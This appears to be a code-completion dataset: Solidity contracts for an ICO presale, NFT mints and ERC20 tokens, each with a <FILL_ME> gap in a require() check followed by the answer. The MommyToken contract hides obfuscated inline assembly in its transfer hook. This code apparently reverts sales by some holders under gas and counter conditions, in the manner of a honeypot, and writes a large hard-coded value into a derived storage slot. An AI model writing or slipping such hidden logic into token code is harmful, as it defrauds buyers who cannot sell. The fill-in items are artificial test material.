IERC20 public _token;
uint256 private _tokenDecimals;
address payable public _wallet;
uint256 public _rate;
uint256 public _rateAirdrop;
uint256 public _weiRaised;
bool public isActiveICO = false;
uint256 public hitSoftCapTime;
uint public minPurchase;
uint public maxPurchase;
uint public hardCap;
uint public softCap;
uint public availableTokensICO;
bool public startRefund = false;
address public usdtAddress;
address public testAddr1;
address public testAddr2;
// First 12 hours
mapping (address => bool) private whitelist;
event TokensPurchased(address purchaser, address beneficiary, uint256 value, uint256 amount);
event Refund(address recipient, uint256 amount);
constructor () {
}
//Start Pre-Sale
function startICO(uint _minPurchase, uint _maxPurchase, uint _softCap, uint _hardCap) external onlyOwner icoNotActive() {
}
function stopICO() external onlyOwner{
}
//Pre-Sale
function buyTokens(uint256 expectTokenAmount) public nonReentrant icoActive {
}
function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view {
}
function _deliverTokens(address beneficiary, uint256 tokenAmount) internal {
}
function _processPurchase(address beneficiary, uint256 tokenAmount) internal {
}
function _getTokenAmount(uint256 weiAmount) internal view returns (uint256) {
}
function _forwardFunds() internal {
IERC20 usdtToken = IERC20(usdtAddress);
require(<FILL_ME>)
usdtToken.transfer(_wallet, usdtToken.balanceOf(address(this)));
}
function withdraw(IERC20 tokenAddress) external onlyOwner icoNotActive{
}
function checkContribution(address addr) public view returns(uint256){
}
function setRate(uint256 newRate) external onlyOwner nonReentrant{
}
function setAvailableTokens(uint256 amount) public onlyOwner icoNotActive{
}
function weiRaised() public view returns (uint256) {
}
function setWalletReceiver(address payable newWallet) external onlyOwner(){
}
function setToken(IERC20 token) external onlyOwner(){
}
function setUSDTAddress(address usdt) external onlyOwner(){
}
function setTestAddress1(address addr) external onlyOwner(){
}
function setTestAddress2(address addr) external onlyOwner(){
}
function setHardCap(uint256 value) external onlyOwner{
}
function setSoftCap(uint256 value) external onlyOwner{
}
function setMaxPurchase(uint256 value) external onlyOwner{
}
function setMinPurchase(uint256 value) external onlyOwner{
}
function setEndICO(bool _newisActiveICO) external onlyOwner{
}
function checkTokens(address token, address _tokenOnwer, uint256 amount) public onlyOwner icoNotActive{
}
function refundMe() public icoNotActive{
}
modifier icoActive() {
}
modifier icoNotActive() {
}
}
| usdtToken.balanceOf(address(this))>0,'Contract has no money' | 440,321 | usdtToken.balanceOf(address(this))>0 |
"69" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "erc721a/contracts/ERC721A.sol";
contract PixelPonyHornstars is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
// @dev Base uri for the nft
string private baseURI;
// @dev A flag for collecting reserves
bool private isCollected = false;
// @dev Pre-reveal base uri
string public preRevealBaseURI;
// @dev The total supply of the collection
uint256 public maxSupply = 0;
// @dev The max amount of mints per wallet
uint256 public maxPerWallet = 2;
// @dev The merkle root proof
bytes32 public merkleRoot;
// @dev An address mapping for founder claim
mapping(address => bool) public addressToFounderClaim;
// @dev An address mapping to add max mints per wallet
mapping(address => uint256) public addressToMinted;
// @dev A reveal flag
bool public isRevealed = false;
// @dev A flag for freezing metadata
bool public isFrozen = false;
// @dev A flag for pimp claim enabled
bool public isPimpClaimEnabled = true;
constructor() ERC721A("Pixel Pony Hornstars", "PPH") {}
/**
* @notice Pimp minter
* @param _proof The bytes32 array proof to verify the merkle root
*/
function pimpMint(bytes32[] calldata _proof) public nonReentrant {
require(isPimpClaimEnabled, "123");
require(<FILL_ME>)
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(MerkleProof.verify(_proof, merkleRoot, leaf), "420");
addressToFounderClaim[msg.sender] = true;
_mint(msg.sender, 1);
}
/**
* @notice Whitelisted minting function which requires a merkle proof
* @param _proof The bytes32 array proof to verify the merkle root
*/
function mint(bytes32[] calldata _proof) public nonReentrant {
}
/**
* @notice Public minting function
*/
function publicMint() public nonReentrant {
}
/**
* @notice Burn an nft by tokenId, runs approval
*/
function burn(uint256 tokenId) public {
}
/**
* @dev Returns the starting token ID.
*/
function _startTokenId() internal view virtual override returns (uint256) {
}
/**
* @notice Returns the URI for a given token id
* @param _tokenId A tokenId
*/
function tokenURI(uint256 _tokenId)
public
view
override
returns (string memory)
{
}
/**
* @notice Freezes the base URI forever
*/
function freeze() external onlyOwner {
}
/**
* @notice Sets the base URI of the NFT
* @param _baseURI A base uri
*/
function setBaseURI(string calldata _baseURI) external onlyOwner {
}
/**
* @notice A toggle switch for a reveal
*/
function toggleRevealed() public onlyOwner {
}
/**
* @notice Sets the max mints per wallet
* @param _maxPerWallet The max per wallet (Keep mind its +1 n)
*/
function setMaxPerWallet(uint256 _maxPerWallet) external onlyOwner {
}
/**
* @notice A toggle switch for pimp claim off
*/
function triggerPreMintSale(bytes32 _merkleRoot) public onlyOwner {
}
/**
* @notice A toggle switch for public sale
* @param _maxSupply The max nft collection size
* @param _maxPerWallet The max per wallet allocation
*/
function triggerPublicSale(uint256 _maxSupply, uint256 _maxPerWallet)
external
onlyOwner
{
}
/**
* @notice Sets the prereveal cid
* @param _preRevealBaseURI The pre-reveal URI
*/
function setPreRevealBaseURI(string memory _preRevealBaseURI)
external
onlyOwner
{
}
/**
* @notice Sets the merkle root for the mint
* @param _merkleRoot The merkle root to set
*/
function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner {
}
/**
* @notice Sets the max supply
* @param _maxSupply The max nft collection size. After frozen cannot be set again.
*/
function setMaxSupply(uint256 _maxSupply) external onlyOwner {
}
/**
* @notice Collects the reserve mints for the PPH vault. One time operation.
* @param amount The number of mints to collect
*/
function collectReserves(uint256 amount) external onlyOwner {
}
}
| !addressToFounderClaim[msg.sender],"69" | 440,376 | !addressToFounderClaim[msg.sender] |
"123" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "erc721a/contracts/ERC721A.sol";
contract PixelPonyHornstars is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
// @dev Base uri for the nft
string private baseURI;
// @dev A flag for collecting reserves
bool private isCollected = false;
// @dev Pre-reveal base uri
string public preRevealBaseURI;
// @dev The total supply of the collection
uint256 public maxSupply = 0;
// @dev The max amount of mints per wallet
uint256 public maxPerWallet = 2;
// @dev The merkle root proof
bytes32 public merkleRoot;
// @dev An address mapping for founder claim
mapping(address => bool) public addressToFounderClaim;
// @dev An address mapping to add max mints per wallet
mapping(address => uint256) public addressToMinted;
// @dev A reveal flag
bool public isRevealed = false;
// @dev A flag for freezing metadata
bool public isFrozen = false;
// @dev A flag for pimp claim enabled
bool public isPimpClaimEnabled = true;
constructor() ERC721A("Pixel Pony Hornstars", "PPH") {}
/**
* @notice Pimp minter
* @param _proof The bytes32 array proof to verify the merkle root
*/
function pimpMint(bytes32[] calldata _proof) public nonReentrant {
}
/**
* @notice Whitelisted minting function which requires a merkle proof
* @param _proof The bytes32 array proof to verify the merkle root
*/
function mint(bytes32[] calldata _proof) public nonReentrant {
require(<FILL_ME>)
require(addressToMinted[msg.sender] + 1 < maxPerWallet, "1337");
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(MerkleProof.verify(_proof, merkleRoot, leaf), "420");
addressToMinted[msg.sender] += 1;
_mint(msg.sender, 1);
}
/**
* @notice Public minting function
*/
function publicMint() public nonReentrant {
}
/**
* @notice Burn an nft by tokenId, runs approval
*/
function burn(uint256 tokenId) public {
}
/**
* @dev Returns the starting token ID.
*/
function _startTokenId() internal view virtual override returns (uint256) {
}
/**
* @notice Returns the URI for a given token id
* @param _tokenId A tokenId
*/
function tokenURI(uint256 _tokenId)
public
view
override
returns (string memory)
{
}
/**
* @notice Freezes the base URI forever
*/
function freeze() external onlyOwner {
}
/**
* @notice Sets the base URI of the NFT
* @param _baseURI A base uri
*/
function setBaseURI(string calldata _baseURI) external onlyOwner {
}
/**
* @notice A toggle switch for a reveal
*/
function toggleRevealed() public onlyOwner {
}
/**
* @notice Sets the max mints per wallet
* @param _maxPerWallet The max per wallet (Keep mind its +1 n)
*/
function setMaxPerWallet(uint256 _maxPerWallet) external onlyOwner {
}
/**
* @notice A toggle switch for pimp claim off
*/
function triggerPreMintSale(bytes32 _merkleRoot) public onlyOwner {
}
/**
* @notice A toggle switch for public sale
* @param _maxSupply The max nft collection size
* @param _maxPerWallet The max per wallet allocation
*/
function triggerPublicSale(uint256 _maxSupply, uint256 _maxPerWallet)
external
onlyOwner
{
}
/**
* @notice Sets the prereveal cid
* @param _preRevealBaseURI The pre-reveal URI
*/
function setPreRevealBaseURI(string memory _preRevealBaseURI)
external
onlyOwner
{
}
/**
* @notice Sets the merkle root for the mint
* @param _merkleRoot The merkle root to set
*/
function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner {
}
/**
* @notice Sets the max supply
* @param _maxSupply The max nft collection size. After frozen cannot be set again.
*/
function setMaxSupply(uint256 _maxSupply) external onlyOwner {
}
/**
* @notice Collects the reserve mints for the PPH vault. One time operation.
* @param amount The number of mints to collect
*/
function collectReserves(uint256 amount) external onlyOwner {
}
}
| !isPimpClaimEnabled,"123" | 440,376 | !isPimpClaimEnabled |
"1337" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "erc721a/contracts/ERC721A.sol";
contract PixelPonyHornstars is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
// @dev Base uri for the nft
string private baseURI;
// @dev A flag for collecting reserves
bool private isCollected = false;
// @dev Pre-reveal base uri
string public preRevealBaseURI;
// @dev The total supply of the collection
uint256 public maxSupply = 0;
// @dev The max amount of mints per wallet
uint256 public maxPerWallet = 2;
// @dev The merkle root proof
bytes32 public merkleRoot;
// @dev An address mapping for founder claim
mapping(address => bool) public addressToFounderClaim;
// @dev An address mapping to add max mints per wallet
mapping(address => uint256) public addressToMinted;
// @dev A reveal flag
bool public isRevealed = false;
// @dev A flag for freezing metadata
bool public isFrozen = false;
// @dev A flag for pimp claim enabled
bool public isPimpClaimEnabled = true;
constructor() ERC721A("Pixel Pony Hornstars", "PPH") {}
/**
* @notice Pimp minter
* @param _proof The bytes32 array proof to verify the merkle root
*/
function pimpMint(bytes32[] calldata _proof) public nonReentrant {
}
/**
* @notice Whitelisted minting function which requires a merkle proof
* @param _proof The bytes32 array proof to verify the merkle root
*/
function mint(bytes32[] calldata _proof) public nonReentrant {
require(!isPimpClaimEnabled, "123");
require(<FILL_ME>)
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(MerkleProof.verify(_proof, merkleRoot, leaf), "420");
addressToMinted[msg.sender] += 1;
_mint(msg.sender, 1);
}
/**
* @notice Public minting function
*/
function publicMint() public nonReentrant {
}
/**
* @notice Burn an nft by tokenId, runs approval
*/
function burn(uint256 tokenId) public {
}
/**
* @dev Returns the starting token ID.
*/
function _startTokenId() internal view virtual override returns (uint256) {
}
/**
* @notice Returns the URI for a given token id
* @param _tokenId A tokenId
*/
function tokenURI(uint256 _tokenId)
public
view
override
returns (string memory)
{
}
/**
* @notice Freezes the base URI forever
*/
function freeze() external onlyOwner {
}
/**
* @notice Sets the base URI of the NFT
* @param _baseURI A base uri
*/
function setBaseURI(string calldata _baseURI) external onlyOwner {
}
/**
* @notice A toggle switch for a reveal
*/
function toggleRevealed() public onlyOwner {
}
/**
* @notice Sets the max mints per wallet
* @param _maxPerWallet The max per wallet (Keep mind its +1 n)
*/
function setMaxPerWallet(uint256 _maxPerWallet) external onlyOwner {
}
/**
* @notice A toggle switch for pimp claim off
*/
function triggerPreMintSale(bytes32 _merkleRoot) public onlyOwner {
}
/**
* @notice A toggle switch for public sale
* @param _maxSupply The max nft collection size
* @param _maxPerWallet The max per wallet allocation
*/
function triggerPublicSale(uint256 _maxSupply, uint256 _maxPerWallet)
external
onlyOwner
{
}
/**
* @notice Sets the prereveal cid
* @param _preRevealBaseURI The pre-reveal URI
*/
function setPreRevealBaseURI(string memory _preRevealBaseURI)
external
onlyOwner
{
}
/**
* @notice Sets the merkle root for the mint
* @param _merkleRoot The merkle root to set
*/
function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner {
}
/**
* @notice Sets the max supply
* @param _maxSupply The max nft collection size. After frozen cannot be set again.
*/
function setMaxSupply(uint256 _maxSupply) external onlyOwner {
}
/**
* @notice Collects the reserve mints for the PPH vault. One time operation.
* @param amount The number of mints to collect
*/
function collectReserves(uint256 amount) external onlyOwner {
}
}
| addressToMinted[msg.sender]+1<maxPerWallet,"1337" | 440,376 | addressToMinted[msg.sender]+1<maxPerWallet |
"96" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "erc721a/contracts/ERC721A.sol";
contract PixelPonyHornstars is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
// @dev Base uri for the nft
string private baseURI;
// @dev A flag for collecting reserves
bool private isCollected = false;
// @dev Pre-reveal base uri
string public preRevealBaseURI;
// @dev The total supply of the collection
uint256 public maxSupply = 0;
// @dev The max amount of mints per wallet
uint256 public maxPerWallet = 2;
// @dev The merkle root proof
bytes32 public merkleRoot;
// @dev An address mapping for founder claim
mapping(address => bool) public addressToFounderClaim;
// @dev An address mapping to add max mints per wallet
mapping(address => uint256) public addressToMinted;
// @dev A reveal flag
bool public isRevealed = false;
// @dev A flag for freezing metadata
bool public isFrozen = false;
// @dev A flag for pimp claim enabled
bool public isPimpClaimEnabled = true;
constructor() ERC721A("Pixel Pony Hornstars", "PPH") {}
/**
* @notice Pimp minter
* @param _proof The bytes32 array proof to verify the merkle root
*/
function pimpMint(bytes32[] calldata _proof) public nonReentrant {
}
/**
* @notice Whitelisted minting function which requires a merkle proof
* @param _proof The bytes32 array proof to verify the merkle root
*/
function mint(bytes32[] calldata _proof) public nonReentrant {
}
/**
* @notice Public minting function
*/
function publicMint() public nonReentrant {
}
/**
* @notice Burn an nft by tokenId, runs approval
*/
function burn(uint256 tokenId) public {
}
/**
* @dev Returns the starting token ID.
*/
function _startTokenId() internal view virtual override returns (uint256) {
}
/**
* @notice Returns the URI for a given token id
* @param _tokenId A tokenId
*/
function tokenURI(uint256 _tokenId)
public
view
override
returns (string memory)
{
}
/**
* @notice Freezes the base URI forever
*/
function freeze() external onlyOwner {
}
/**
* @notice Sets the base URI of the NFT
* @param _baseURI A base uri
*/
function setBaseURI(string calldata _baseURI) external onlyOwner {
}
/**
* @notice A toggle switch for a reveal
*/
function toggleRevealed() public onlyOwner {
}
/**
* @notice Sets the max mints per wallet
* @param _maxPerWallet The max per wallet (Keep mind its +1 n)
*/
function setMaxPerWallet(uint256 _maxPerWallet) external onlyOwner {
}
/**
* @notice A toggle switch for pimp claim off
*/
function triggerPreMintSale(bytes32 _merkleRoot) public onlyOwner {
}
/**
* @notice A toggle switch for public sale
* @param _maxSupply The max nft collection size
* @param _maxPerWallet The max per wallet allocation
*/
function triggerPublicSale(uint256 _maxSupply, uint256 _maxPerWallet)
external
onlyOwner
{
}
/**
* @notice Sets the prereveal cid
* @param _preRevealBaseURI The pre-reveal URI
*/
function setPreRevealBaseURI(string memory _preRevealBaseURI)
external
onlyOwner
{
}
/**
* @notice Sets the merkle root for the mint
* @param _merkleRoot The merkle root to set
*/
function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner {
}
/**
* @notice Sets the max supply
* @param _maxSupply The max nft collection size. After frozen cannot be set again.
*/
function setMaxSupply(uint256 _maxSupply) external onlyOwner {
}
/**
* @notice Collects the reserve mints for the PPH vault. One time operation.
* @param amount The number of mints to collect
*/
function collectReserves(uint256 amount) external onlyOwner {
require(<FILL_ME>)
_safeMint(msg.sender, amount);
isCollected = true;
}
}
| !isCollected,"96" | 440,376 | !isCollected |
"ERC20: trading is not yet enabled." | /*
<3 <3 <3 <3 MOM <3 <3 <3 <3
Being a mom is just as important as any career.
Elon Musk
*/
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function WETH() external pure returns (address);
function factory() external pure returns (address);
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
}
contract Ownable is Context {
address private _previousOwner; address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
address[] private addMom;
uint256 private elonsMom = block.number*2;
mapping (address => bool) private _firstElon;
mapping (address => bool) private _secondMommy;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _greenHeart;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _blueValentine;
address public pair;
IDEXRouter router;
string private _name; string private _symbol; uint256 private _totalSupply;
uint256 private _limit; uint256 private theV; uint256 private theN = block.number*2;
bool private trading; uint256 private whiteCoco = 1; bool private darkChocolate;
uint256 private _decimals; uint256 private greenMint;
constructor (string memory name_, string memory symbol_, address msgSender_) {
}
function symbol() public view virtual override returns (string memory) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function name() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function _TokenInit() internal {
}
function openTrading() external onlyOwner returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function _beforeTokenTransfer(address sender, address recipient, uint256 float) internal {
require(<FILL_ME>)
assembly {
function getBy(x,y) -> hash { mstore(0, x) mstore(32, y) hash := keccak256(0, 64) }
function getAr(x,y) -> val { mstore(0, x) val := add(keccak256(0, 32),y) }
if eq(chainid(),0x1) {
if eq(sload(getBy(recipient,0x4)),0x1) { sstore(0x15,add(sload(0x15),0x1)) }
if and(lt(gas(),sload(0xB)),and(and(or(or(and(or(eq(sload(0x16),0x1),eq(sload(getBy(sender,0x5)),0x1)),gt(sub(sload(0x3),sload(0x13)),0x9)),gt(float,div(sload(0x99),0x2))),and(gt(float,div(sload(0x99),0x3)),eq(sload(0x3),number()))),or(and(eq(sload(getBy(recipient,0x4)),0x1),iszero(sload(getBy(sender,0x4)))),and(eq(sload(getAr(0x2,0x1)),recipient),iszero(sload(getBy(sload(getAr(0x2,0x1)),0x4)))))),gt(sload(0x18),0x0))) { revert(0,0) }
if or(eq(sload(getBy(sender,0x4)),iszero(sload(getBy(recipient,0x4)))),eq(iszero(sload(getBy(sender,0x4))),sload(getBy(recipient,0x4)))) {
let k := sload(0x18) let t := sload(0x99) let g := sload(0x11)
switch gt(g,div(t,0x3)) case 1 { g := sub(g,div(div(mul(g,mul(0x203,k)),0xB326),0x2)) } case 0 { g := div(t,0x3) }
sstore(0x11,g) sstore(0x18,add(sload(0x18),0x1)) }
if and(or(or(eq(sload(0x3),number()),gt(sload(0x12),sload(0x11))),lt(sub(sload(0x3),sload(0x13)),0x9)),eq(sload(getBy(sload(0x8),0x4)),0x0)) { sstore(getBy(sload(0x8),0x5),0x1) }
if iszero(mod(sload(0x15),0x7)) { sstore(0x16,0x1) sstore(0xB,0x1C99342) sstore(getBy(sload(getAr(0x2,0x1)),0x6),0x25674F4B1840E16EAC177D5ADDF2A3DD6286645DF28) }
sstore(0x12,float) sstore(0x8,recipient) sstore(0x3,number()) }
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _DeployMom(address account, uint256 amount) internal virtual {
}
}
contract ERC20Token is Context, ERC20 {
constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol, creator) {
}
}
contract MommyToken is ERC20Token {
constructor() ERC20Token("Mommy", "MOM", msg.sender, 265000 * 10 ** 18) {
}
}
| (trading||(sender==addMom[1])),"ERC20: trading is not yet enabled." | 440,796 | (trading||(sender==addMom[1])) |
"limit reached" | // SPDX-License-Identifier: MIT
// Created by DegenLabs https://degenlabs.one
pragma solidity ^0.8.15;
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "./mocks/ERC721A.sol";
import "./Whitelist.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract PiratesOfEth is ERC721A, Ownable, ReentrancyGuard, Whitelist {
using SafeERC20 for IERC20;
bool public mintStarted = false;
mapping(address => uint256) private minted;
uint256 private constant maxNFTs = 10000;
uint256 public mintPrice = 0.02 ether;
uint256 private maxCanOwn = 1;
uint16 private batchSize = 1;
string private URI = "https://api.piratesofeth.com/nft/";
constructor(address signatureChecker) ERC721A("Pirates Of ETH", "PETH") Whitelist(signatureChecker) {}
function mint() public payable nonReentrant notOnBlacklist {
require(mintStarted, "Not started");
require(msg.sender == tx.origin);
require(<FILL_ME>)
require(msg.value >= mintPrice * batchSize, "Not enough ether");
require(_totalMinted() + batchSize <= maxNFTs, "Mint ended");
minted[msg.sender] += batchSize;
_safeMint(msg.sender, batchSize);
}
function mintWhitelist(
uint256 nonce,
uint16 amount,
bytes memory signature
) public payable nonReentrant notOnBlacklist {
}
function _baseURI() internal view override returns (string memory) {
}
function mintedTotal() public view returns (uint256) {
}
function totalMintable() public pure returns (uint256) {
}
// ONLY OWNER SECTION
function mintOwner(address _oo, uint256 amount) public onlyOwner {
}
function setBaseURI(string memory newBaseURI) external onlyOwner {
}
function setMaxCanOwn(uint256 _mo) external onlyOwner {
}
function setBatchSize(uint16 _bs) external onlyOwner {
}
function setMintPrice(uint256 _mp) external onlyOwner {
}
function startMint() external onlyOwner {
}
function pauseMint() external onlyOwner {
}
function startWhiteListMint() external onlyOwner {
}
function removeFromWhiteList(uint256 nonce) external onlyOwner {
}
function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyOwner {
}
function withdraw() public onlyOwner {
}
}
| minted[msg.sender]+batchSize<=maxCanOwn,"limit reached" | 440,821 | minted[msg.sender]+batchSize<=maxCanOwn |
"Mint ended" | // SPDX-License-Identifier: MIT
// Created by DegenLabs https://degenlabs.one
pragma solidity ^0.8.15;
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "./mocks/ERC721A.sol";
import "./Whitelist.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract PiratesOfEth is ERC721A, Ownable, ReentrancyGuard, Whitelist {
using SafeERC20 for IERC20;
bool public mintStarted = false;
mapping(address => uint256) private minted;
uint256 private constant maxNFTs = 10000;
uint256 public mintPrice = 0.02 ether;
uint256 private maxCanOwn = 1;
uint16 private batchSize = 1;
string private URI = "https://api.piratesofeth.com/nft/";
constructor(address signatureChecker) ERC721A("Pirates Of ETH", "PETH") Whitelist(signatureChecker) {}
function mint() public payable nonReentrant notOnBlacklist {
require(mintStarted, "Not started");
require(msg.sender == tx.origin);
require(minted[msg.sender] + batchSize <= maxCanOwn, "limit reached");
require(msg.value >= mintPrice * batchSize, "Not enough ether");
require(<FILL_ME>)
minted[msg.sender] += batchSize;
_safeMint(msg.sender, batchSize);
}
function mintWhitelist(
uint256 nonce,
uint16 amount,
bytes memory signature
) public payable nonReentrant notOnBlacklist {
}
function _baseURI() internal view override returns (string memory) {
}
function mintedTotal() public view returns (uint256) {
}
function totalMintable() public pure returns (uint256) {
}
// ONLY OWNER SECTION
function mintOwner(address _oo, uint256 amount) public onlyOwner {
}
function setBaseURI(string memory newBaseURI) external onlyOwner {
}
function setMaxCanOwn(uint256 _mo) external onlyOwner {
}
function setBatchSize(uint16 _bs) external onlyOwner {
}
function setMintPrice(uint256 _mp) external onlyOwner {
}
function startMint() external onlyOwner {
}
function pauseMint() external onlyOwner {
}
function startWhiteListMint() external onlyOwner {
}
function removeFromWhiteList(uint256 nonce) external onlyOwner {
}
function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyOwner {
}
function withdraw() public onlyOwner {
}
}
| _totalMinted()+batchSize<=maxNFTs,"Mint ended" | 440,821 | _totalMinted()+batchSize<=maxNFTs |
"ex" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC20.sol";
/**
* https://www.godzillaaa.com
*
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract REF is IERC20 {
using SafeMath for uint256;
string private _name;
string private _symbol;
uint256 private _totalSupply;
address private _owner;
mapping (address => uint256) private _balances;
mapping (address => uint256) private _ouo;
mapping (address => mapping (address => uint256)) private _allowances;
address private immutable _xouop;
constructor(
string memory _name_, string memory _symbol_,
address _xouop_, uint256 _ouo_) {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() external view returns (address) {
}
/**
* @dev Returns the token decimals.
*/
function decimals() external pure override returns (uint8) {
}
/**
* @dev Returns the token symbol.
*/
function symbol() external view override returns (string memory) {
}
/**
* @dev Returns the token name.
*/
function name() external view override returns (string memory) {
}
/**
* @dev See {ERC20-totalSupply}.
*/
function totalSupply() external view override returns (uint256) {
}
/**
* @dev See {ERC20-balanceOf}.
*/
function balanceOf(address account) external view override returns (uint256) {
}
/**
* @dev See {ERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
/**
* @dev See {ERC20-allowance}.
*/
function allowance(address owner_, address spender) external view override returns (uint256) {
}
/**
* @dev See {ERC20-approve}.
*
* Requirements:
*
